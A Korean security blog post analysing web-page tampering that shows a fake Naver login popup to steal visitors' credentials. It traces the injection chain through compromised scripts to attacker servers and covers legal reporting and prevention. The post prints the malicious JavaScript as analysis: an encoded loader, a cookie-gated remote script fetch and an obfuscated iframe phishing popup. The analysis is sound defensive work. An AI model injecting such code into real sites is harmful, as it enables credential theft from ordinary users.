Security/Analysis

네이버 검색시 해킹이 의심되는 사이트입니다. 보안 분석

Hyeon Gu 2024. 4. 25. 20:16

이번 최근 상당수 발견되고 있는 네이버 로그인 피싱 분석하고 알아보고자 합니다.


0. 개요

2023년 5월인 D모 공식 웹 페이지에서 네이버 로그인 팝업이 뜨는 수법으로 침해사고가 발견되고 있습니다.

또한, 최근 자사 고객들 사이에서 웹 페이지 변조가 되어 통해 네이버 계정을 탈취하고 있는 사례들이 많아지고 있습니다.

네이버에서 웹사이트 검색할 경우 “해킹이 의심되는 사이트입니다. 로그인에 주의하세요

라는 문구와 함께 최초 웹 페이지 접속 시 네이버 로그인 폼(팝업)을 보여주고 있으며 이용자가 무심코 로그인하게끔 유도 하는 점이 발견되고 있습니다.

분석 결과, 웹 서버 취약점을 이용하여 코드를 삽입하였고 공격자 수집용 C&C서버에 네이버 계정이 다량으로 수집된 것을 확인할 수 있었습니다.


1. 분석

<사진1> M모 웹 페이지 접속시 취약점 공격으로 네이버 로그인 화면 모습

최초 웹 페이지에 접속 시 네이버 로그인 화면이 출력되는 것을 확인했습니다.

 

<사진 2> M모 웹 페이지에 삽입된 iframe 태그 website-1.com/uploaded/excel///login.php

해당 웹 페이지에 iframe태그로 된 네이버 로그인이 삽입된 과정을 분석 해보도록 하겠습니다.

제일 먼저 페이지에 삽입된 iframe을 통해서 website-1.com/uploaded/excel///login.php 를 로드하여 네이버 로그인 폼을 뜨고 있는 점을 확인 하였습니다.

<iframe>이란? HTML 마크업 언어인 inline frame의 약자로, 웹 페이지안에 또 다른 웹페이지를 삽입하는 것을 의미합니다.

 

<사진3> ID PW 입력시 데이터를 어디론가 저장을 하여 Status Code 와 함께 Callback 함수로 Success 출력

<사진1>에서 ID : qwert PW : 1234 와 같은 간단한 값을 삽입했을 경우 “status” : “Failed”라는 값이 출력되었으며, 복잡한 ID/PW를 구성 했을경우 <사진 3>과 같이 “status” : “Success” 값을 출력한 것을 확인하였습니다.

/js/qlick.js

//Before (Encode)
document.write(unescape("%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%73%3A%2F%2F%77%77%77%2E%ec%95%8c%ec%88%98%ec%97%86%eb%8a%94%ed%8e%98%ec%9d%b4%ec%a7%80%2E%63%6F%6D%2F%75%70%6C%6F%61%64%44%61%74%61%2F%62%6F%6F%6B%2F%63%73%73%2E%6A%73%3E%69%70%74%3E3C%2F%73%63%72%"));

//After (DeCode)
document.write(unescape("https://www.website-2.com/uploadData/book/css.js</a>>ipt>3C/scr%"));

<표1> 변조된 qlick.js 파일에서 발견된 코드 Encode & Decode

M모 웹 페이지 자바스크립트 파일 확인중 /js/qlick.js 최하단에 <표1> 코드가 작성 되었으며, 파일이 변조된 점과 함께 C&C 서버(website-2.com/uploadData/book/css.js) 에 업로드 되어있는 파일을 불러오게 됩니다.

C&C 서버란? 악성 소프트웨어를 감염시킨 컴퓨터 또는 네트워크와 통신하여 악성 행위를 지시하고, 제어하며, 데이터를 수집하는 역할을 합니다.

if(document.cookie.indexOf("sdvbdtrwssss=")==-1)
{

var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie="sdvbdtrwssss=Yes;path=/;expires="+expires.toGMTString();
if(navigator.userAgent.toLowerCase().indexOf("\\x6D"+"\\x73"+"\\x69\\x65"+"\\x20\\x37")==-1);
document.write("https://website-3.com/mail/</a>>"); }

<표2> website-2.com/uploadData/book/css.js

<표2> 코드를 간략하게 분석해보았습니다.

  1. "sdvbdtrwssss"라는 특정 쿠키가 존재하지 않는지 확인
  2. 쿠키가 없으면 해당 이름과 값이 "Yes"인 새로운 쿠키를 생성 (쿠키는 24시간 후 만료)
  3. 쿠키를 설정한 후, 브라우저의 사용자 에이전트 문자열을 확인
  4. UserAgent 에 "msie7"문자가 없을경우 스크립트 태그를 작성하여 "https://website-3.com/mail/" 에서 JavaScript 파일을 불러옴
var vva = [
  "link",
  "text/css",
  "stylesheet",
  "head",
  "script",
  "text/javascript",
  "undefined",
  "loaded",
  "complete",
  '//website-1.com/uploaded/excel//',
  '//cdnjs.cloudflare.com/ajax/libs/layui/2.6.8/layui.js',
  '//cdnjs.cloudflare.com/ajax/libs/layui/2.6.8/css/layui.css',
  '100px',
  'naver',
  'login',
  'poplog',
  '62%',
  '95%',
  '/login.php?m=1',
  '480px',
  '570px',
  '/login.php',
  'message',
  'string',
  'poplog',
  'login',
  'poplog'
];
function vodf88(vod329){
    var vod256=window["document"]["createElement"](vva[0]);
    vod256["type"]= vva[1];
    vod256["rel"]= vva[2];
    vod256["href"]=vod329;
    window["document"]["getElementsByTagName"](vva[3])[0]["appendChild"](vod256)
};
function vod801(vod329,vodd5b){
    var vodf9f=window["document"]["createElement"](vva[4]);
    vodf9f["type"]= vva[5];
    if(typeof(vodd5b)!= vva[6]){
        if(vodf9f["readyState"]){
            vodf9f["onreadystatechange"]=function(){
                if(vodf9f["readyState"]== vva[7]||vodf9f["readyState"]== vva[8]){
                    vodf9f["onreadystatechange"]=null;
                    vodd5b()
                }
            }
        }else{
            vodf9f["onload"]=function(){
                vodd5b()
            }
        }
    };
    vodf9f["src"]=vod329;
    window["document"]["head"]["appendChild"](vodf9f)
};
var popurl= vva[9];
var vodd0f= vva[10];
var vodd2e= vva[11];
var vodfa4;
function vod463(vod329,vod766,vod141){
    vodfa4=layer["open"]({
        type:2,
        title:false,
        area:[vod766,vod141],
        fixed:false,
        maxmin:false,
        scrollbar:false,
        offset: vva[12],
        closeBtn:0,
        shade:0.5,
        id: vva[13],
        content:vod329,
        end:function(){
            sessionStorage[ vva[14]]= vva[15]
        }
    })
};
vodf88(vodd2e);
vod801(vodd0f,function(){
    var vod598;
    var voda8e;
    if(/Android|webOS|iPhone|iPod|BlackBerry/i["test"](navigator["userAgent"])){
        vod598= vva[16];
        voda8e= vva[17];
        popurl=popurl+ vva[18]
    }else{
        vod598= vva[19];
        voda8e= vva[20];
        popurl=popurl+ vva[21]
    };
    window["addEventListener"]( vva[22],function(vod739){
        if(typeof(vod739["data"]["msg"])== vva[23]){
            if(vod739["data"]["msg"]== vva[24]){
                layer["close"](vodfa4)
            }
        }
    },false);
    if(sessionStorage[ vva[25]]!= vva[26]){
        vod463(popurl,voda8e,vod598)
    }
})

<표3> website-3.com/mail/

자바스크립트 코드에 난독화가 적용되어 있었으며, layui 라이브러리를 이용해 website-1.com/uploaded/excel///login.php 를 삽입한 것을 확인할 수 있습니다.

layui 라이브러리의 경우 중국에서 만들어진 UI Framework로 중국발 공격임을 추측 확인 할 수 있습니다.

 

<사진4> 피해자 계정 정보

website1.com 에서는 디렉토리 인덱싱이 활성화되어 있음을 확인하여, 피싱에 사용되는 login.php 이외에 111.txt를 확인 할 수 있었습니다.

해당 분석 결과로 공격자는 웹 페이지의 취약점을 이용해서 자신이 원하는 자바스크립트 코드를 삽입하고, 네이버 로그인 창과 유사한 login.php를 출력했습니다. 또한, 출력된 피싱 폼에 입력된 모든 정보를 C&C 서버로 전달하여 다수의 이용자의 네이버 계정 정보를 탈취한 사실이 밝혀졌습니다.

또한, C&C 서버인 website1.com, website2.com, website3.com 모두 국내 웹 사이트 이였으며 국내 취약한 서버를 대상으로 이뤄진 공격을 확인 하였습니다.

시작점:

MyWebsite.com/js/qlick.js (다음줄의 스크립트를 가져와 실행)

website-2.com/uploadData/book/css.js 'sdvbdtrwssss'이름의 쿠키 추가 및 다음 스크립트 불러옴

JS(make iframe): website-3.com/mail/

iframe url: website-1.com/uploaded/excel///login.php (실제 네이버 피싱 페이지)

아래 3개 주소는 요청헤더를 검사하여 부적합한 요청이면 404 not found를 반환합니다.


3. 사후 조치, 법률, 예방 방법

3-1. 법률

「정보통신망 이용촉진 및 정보보호 등에 관한 법률」 제48조의3 제1항에 의거하여 침해사고 발생시그 사실을 과학기술정보통신부장관이나 한국인터넷진흥원에 반드시 신고하여야 한다.

※ URL : https://boho.or.kr/kr/report/list.do?menuNo=205034

3-2. 기업 조치 방안

  1. 한국인터넷진흥원 중소기업 침해사고 피해지원 서비스 안내

사고의 원인 규명 및 재발 방지 대책을 위해 무상으로 '침해사고 피해지원 서비스'를 제공

3-3. 서버 침해 예방방법

  1. 웹 시큐어 코딩 JavaScript_시큐어코딩_가이드2022년.pdf
  2. 정기적으로 보안 점검 및 취약한 소프트웨어 버전 업그레이드

Reference

https://help.naver.com/service/5626/contents/21529?lang=ko

https://developer.mozilla.org/ko/docs/Web/HTML/Element/iframe

https://boho.or.kr

https://www.isac.or.kr/

http://word.tta.or.kr/dictionary/dictionaryView.do?word_seq=038958-